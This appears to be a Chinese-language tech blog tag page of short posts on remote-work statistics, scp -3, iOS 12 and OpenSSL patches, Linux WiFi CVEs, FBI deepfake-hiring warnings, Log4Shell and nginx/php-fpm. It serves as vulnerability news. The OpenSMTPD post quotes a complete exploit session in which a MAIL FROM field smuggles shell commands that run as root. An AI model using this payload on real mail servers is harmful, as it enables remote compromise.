Tag: remote

WFH 在美國的比重，以及舊金山辦公室的空屋問題

先講結論：COVID-19 前美國的 WFH (Work from home，或是 Remote work) 的比率大約在 5% 上下徘徊，在疫情開始暴增超過 60%，但到現在後疫情時期已經是常態性高過 25% 了。

報導是從「'Return to Office' declared dead」這邊看到的，裡面提到了今年九月發的 paper (可以免費下載)：「The Evolution of Work from Home」。

paper 的作者之一 Nick Bloom 在 X (Twitter) 上提到了目前看起來不同來源的結果是一致的：

先從他在九月時發的 paper 抓這張圖出來，裡面提到的 Census Household Pulse Survey 看起來是美國政府的「Measuring Household Experiences during the Coronavirus Pandemic」這份資料，時間是從疫情開始爆發後蒐集的 (2020/04/23)：

裡面有兩張圖，先看大的圖，可以看到 2000 年以後 WFH 是有緩慢上升，但也就是 5% 上下。而在疫情開始直接飆升，然後開始降回來。

接下來看小的圖，這是疫情開始的資料，疫情一開始非常高，到 60%+，但可以看到的確從 2021 年開始美國的 WFH 就平穩下來了，大約在 25%～35% 這邊，而且已經平緩下來了。

另外一篇要提的是從房地產的角度看的，報導是「San Francisco now at 35% office vacancy rate, highest ever recorded: data」這篇，提到舊金山辦公室的空房率達到歷史新高的 35%。

在加州的官網上有比較舊的資料 (資料來源不同，所以主要是看趨勢)，上面目前最新的資料可以看到 2023 年三月辦公室的空房率是 26% (這份資料裡面有提到最新資料大約晚一季到兩季)：「San Francisco Office Space Vacancy」。

算是不同方向的指標交叉看，看起來算一致。

scp -3：直接對兩個 remote host 複製檔案

剛剛找資料才發現的，scp 指令早就可以針對兩個遠端複製檔案了：「scp from one remote server to another remote server」。

可以加上 -3，像是這樣：

scp -3 src:/foo/bar/a.zip dst:/tmp/

不過依照說明可以不用加，因為這是 default 值：

Copies between two remote hosts are transferred through the local host. Without this option the data is copied directly between the two remote hosts. Note that, when using the legacy SCP protocol (via the -O flag), this option selects batch mode for the second host as scp cannot ask for passwords or passphrases for both hosts. This mode is the default.

看了 Stack Exchange 上的回答日期，是 2014 年十月回的，所以至少 Ubuntu 16.04 就有這個功能了？(沒有去查這個功能多早...)

之前一直都是查怎麼用 rsync 搬，然後發現做不到所以都還是傻傻的透過 jump server 轉運檔案，沒想到隔壁棚早就給了解法...

這樣有些情境搬檔案就簡單多了...

iPhone 5S 又拿到安全性更新了：iOS 12.5.7 (2023/01/23)

Apple 又針對 iOS 12 釋出安全性更新了：「About the security content of iOS 12.5.7」。

Available for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.1.

Description: A type confusion issue was addressed with improved state handling.

這次的更新是 backport 去年十二月在 Safari 16.2 上修正的 CVE-2022-42856：

A type confusion issue was addressed with improved state handling. This issue is fixed in Safari 16.2, tvOS 16.2, macOS Ventura 13.1, iOS 15.7.2 and iPadOS 15.7.2, iOS 16.1.2. Processing maliciously crafted web content may lead to arbitrary code execution.

所以這包跟上次一樣 (參考先前寫的 「iOS 12.5.6」這篇)，也是在修正 RCE 類的漏洞，這樣對於 iPhone 5S 等於是進入第九年的支援了。

之前在網路上有看到有人在猜是因為海外有很多異議人士拿這隻手機，所以美國政府「希望」Apple 能夠針對一些高危險性的安全漏洞提供更新？

OpenSSL 3.0 RCE

OpenSSL 居然出了一包 RCE：「CVE-2022-3786 and CVE-2022-3602: X.509 Email Address Buffer Overflows」，security advisory 在「OpenSSL Security Advisory [01 November 2022]」這邊。

看第一個 CVE-2022-3602，本來看到這個 CVE 號碼為覺得應該是年初的號碼 (現在已經三萬多了？)，但依照官方的說法是十月的事情，看起來是用假名回報 (Polar Bear)：

This issue was reported to OpenSSL on 17th October 2022 by Polar Bear.
The fixes were developed by Dr Paul Dale.

在 CVE 的頁面上也可以看到「Date Record Created」這邊標的是 20221019，不知道是什麼情況。

另外一組 CVE-2022-3786 也是類似的情況，官方收到也是十月的事情：

This issue was discovered on 18th October 2022 by Viktor Dukhovni while
researching CVE-2022-3602. The fixes were developed by Dr Paul Dale.

在 CVE 頁面上則是標 20221101 建立，昨天的事情。

這次出事的範圍是 3.0.0 系列的 OpenSSL，前面的 1.1 與 1.0 系列是沒中的：

[T]he bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected.

Ubuntu 上中的是 22.04 的 jammy 以及之後的版本，包括了 22.10 的 kinetic。還在用 20.04 的基本上都還是 1.1 系列的 OpenSSL 在跑，這次沒被貓到。

Linux 無線網路的 RCE 洞

在 Hacker News 首頁上看到 Linux 無線網路的 RCE 漏洞：「Some remotely exploitable kernel WiFi vulnerabilities」，mailing list 的信件是這邊：「[oss-security] Various Linux Kernel WLAN security issues (RCE/DOS) found」。

裡面題到了五個漏洞，其中屬於 RCE 的是這三個：

  • CVE-2022-41674: fix u8 overflow in cfg80211_update_notlisted_nontrans (max 256 byte overwrite) (RCE)
  • CVE-2022-42719: wifi: mac80211: fix MBSSID parsing use-after-free use after free condition (RCE)
  • CVE-2022-42720: wifi: cfg80211: fix BSS refcounting bugs ref counting use-after-free possibilities (RCE)

第一個只寫「An issue was discovered in the Linux kernel through 5.19.11.」，但討論上看到說應該是 5.1+，第二個在 CVE 裡面有提到是 5.2+，第三個是 5.1+。然後已經有看到 PoC code 了...

對於用 Linux 筆電的人得等各家 distribution 緊急出更新；但有些無線網路設備不知道怎麼辦...

FBI 警告愈來愈多使用假身份與 Deepfake 技術應徵遠端工作的事件

在 Hacker News 上看到「FBI: Stolen PII and deepfakes used to apply for remote tech jobs (bleepingcomputer.com)」這個很「有趣」的文章，原報導在「FBI: Stolen PII and deepfakes used to apply for remote tech jobs」，另外 FBI 的公告在「Deepfakes and Stolen PII Utilized to Apply for Remote Work Positions」這邊。

The FBI Internet Crime Complaint Center (IC3) warns of an increase in complaints reporting the use of deepfakes and stolen Personally Identifiable Information (PII) to apply for a variety of remote work and work-at-home positions.

當 deepfake 的技術愈來愈成熟後，這個問題應該會愈來愈嚴重？

另外讓我想到，先前有人發現錄取的人跟面試的人好像不一樣的情況，但一時間找不到那篇文章...

Log4j2 的 RCE

昨天爆出來 Log4j2 的 RCE，看了一下 pattern，只要是 Java stack 應該都很容易中獎：「Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package」，Hacker News 上對應的討論在「Log4j RCE Found (lunasec.io)」這邊可以看。

LunaSec 宣稱這是 0-day RCE，不過 Log4j2 的修正版本 2.15.0 在 2021/12/06 出了，而 exploit 被丟出來是 2021/12/09，但不確定在這之前是不是已經有 exploit 在 internet 上飛來飛去了...

丟出來的 exploit sample (CVE-2021-44228-Apache-Log4j-Rce) 是用 LDAP 來打，雖然大多數的 Java 版本不受影響，但還是有其他的面可以攻擊，所以整體上還是很容易打穿，該升級的還是得趕快升級：

Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.

週末苦命時間...

在箱型車上安裝六個 Internet 服務 (Remote Work？)

看到「There are six internet links on my office on wheels. Seven when Starlink arrives. Is this the best internet in Australia?」這篇，作者在箱型車上接了六個 Internet 服務，在 Hacker News 上的討論可以翻一下：「There are six internet links on my office on wheels—seven when Starlink arrives (ghuntley.com)」。

作者畫的架構圖：

然後有車子外部的圖片：

另外在這張截圖可以看到其中四個 ISP：

然後作者提到了 Speedify 這個付費軟體 (月費)，可以把多個 ISP 的頻寬綁起來，不過我想要看看自己怎麼在 Ubuntu 桌機上搞，畢竟我家裡也有兩條固網 (HiNet 與北都)，能夠自動 failover 就算符合我的用途了...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE，而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit：

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

最近的 nginx + php-fpm 安全性漏洞

這次的漏洞是在打 CTF (capture the flag) 的時候發現的，這個安全漏洞已經被給 CVE 編號並且修正了：「CVE-2019-11043」，回報者與官方的討論可以在「Sec Bug #78599 env_path_info underflow in fpm_main.c can lead to RCE」這邊看到。從回報的標題可以知道這次頗熱鬧的原因，是因為這次有機會 RCE (remote code execution)...

在「PHuiP-FPizdaM」這邊可以看到比較系統性的整理 (以及 exploit)，看起來雖然有不少條件，但都不算太特別的指令，如果以全世界的機器來看，應該會有不少機器中獎...